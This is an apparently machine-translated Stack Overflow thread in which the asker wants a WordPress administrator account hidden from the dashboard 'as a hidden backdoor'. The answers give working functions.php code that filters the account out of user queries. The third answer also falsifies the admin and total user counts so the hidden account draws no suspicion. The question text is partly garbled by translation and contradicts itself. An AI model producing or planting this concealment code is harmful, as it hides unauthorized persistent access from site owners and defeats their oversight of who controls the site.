从Wordpress用户列表中隐藏特定的管理员帐户

use*_*958 7 wordpress admin hide

我想在Wordpress中创建一个管理员用户,然后将其隐藏在wordpress仪表板中的用户列表中,作为一种隐藏的后门.我不是想隐藏所有管理员,只是隐藏所有管理员.

任何帮助是极大的赞赏.

Xav*_*ier 14

您可以使用自定义功能执行此操作functions.php.这是一个例子:

add_action('pre_user_query','yoursite_pre_user_query');
function yoursite_pre_user_query($user_search) {
  global $current_user;
  $username = $current_user->user_login;

  if ($username == '<USERNAME OF OTHER ADMIN>') { 
    global $wpdb;
    $user_search->query_where = str_replace('WHERE 1=1',
      "WHERE 1=1 AND {$wpdb->users}.user_login != '<YOUR USERNAME>'",$user_search->query_where);
  }
}
Run Code Online (Sandbox Code Playgroud)

或者你可以使用插件; http://wordpress.org/plugins/user-role-editor/


Awa*_*mar 10

合并的答案"angezanetti",问题"纳塔利娅"和响应"user3474007"纳塔利娅,该代码会隐藏所有其他用户(包括管理员)的用户.

add_action('pre_user_query','yoursite_pre_user_query');
function yoursite_pre_user_query($user_search) {
  global $current_user;
  $username = $current_user->user_login;

  if ($username != 'hiddenuser') { 
    global $wpdb;
    $user_search->query_where = str_replace('WHERE 1=1',
      "WHERE 1=1 AND {$wpdb->users}.user_login != 'hiddenuser'",$user_search->query_where);
  }
}
Run Code Online (Sandbox Code Playgroud)


use*_*559 9

这里是一个很好的解决方案angezanetti,但即使hiddenuser从管理员列表中隐藏,显示管理员的总数仍然是不变的,它可以是可疑的人。我通过Symbolwdd获取了代码,并添加了行以正确显示管理员数:

add_action('pre_user_query','dt_pre_user_query');
function dt_pre_user_query($user_search) {
   global $current_user;
   $username = $current_user->user_login;

   if ($username != 'hiddenuser') {
      global $wpdb;
      $user_search->query_where = str_replace('WHERE 1=1',
         "WHERE 1=1 AND {$wpdb->users}.user_login != 'hiddenuser'",$user_search->query_where);
   }
}

add_filter("views_users", "dt_list_table_views");
function dt_list_table_views($views){
   $users = count_users();
   $admins_num = $users['avail_roles']['administrator'] - 1;
   $all_num = $users['total_users'] - 1;
   $class_adm = ( strpos($views['administrator'], 'current') === false ) ? "" : "current";
   $class_all = ( strpos($views['all'], 'current') === false ) ? "" : "current";
   $views['administrator'] = '<a href="users.php?role=administrator" class="' . $class_adm . '">' . translate_user_role('Administrator') . ' <span class="count">(' . $admins_num . ')</span></a>';
   $views['all'] = '<a href="users.php" class="' . $class_all . '">' . __('All') . ' <span class="count">(' . $all_num . ')</span></a>';
   return $views;
}
Run Code Online (Sandbox Code Playgroud)

  • 这是最佳答案-对于修改用户数也很重要。我通过将过滤器移到函数中的if语句中对其进行了少许更改,以便仅在除隐藏用户以外的其他人是当前用户时才减少计数。 (2认同)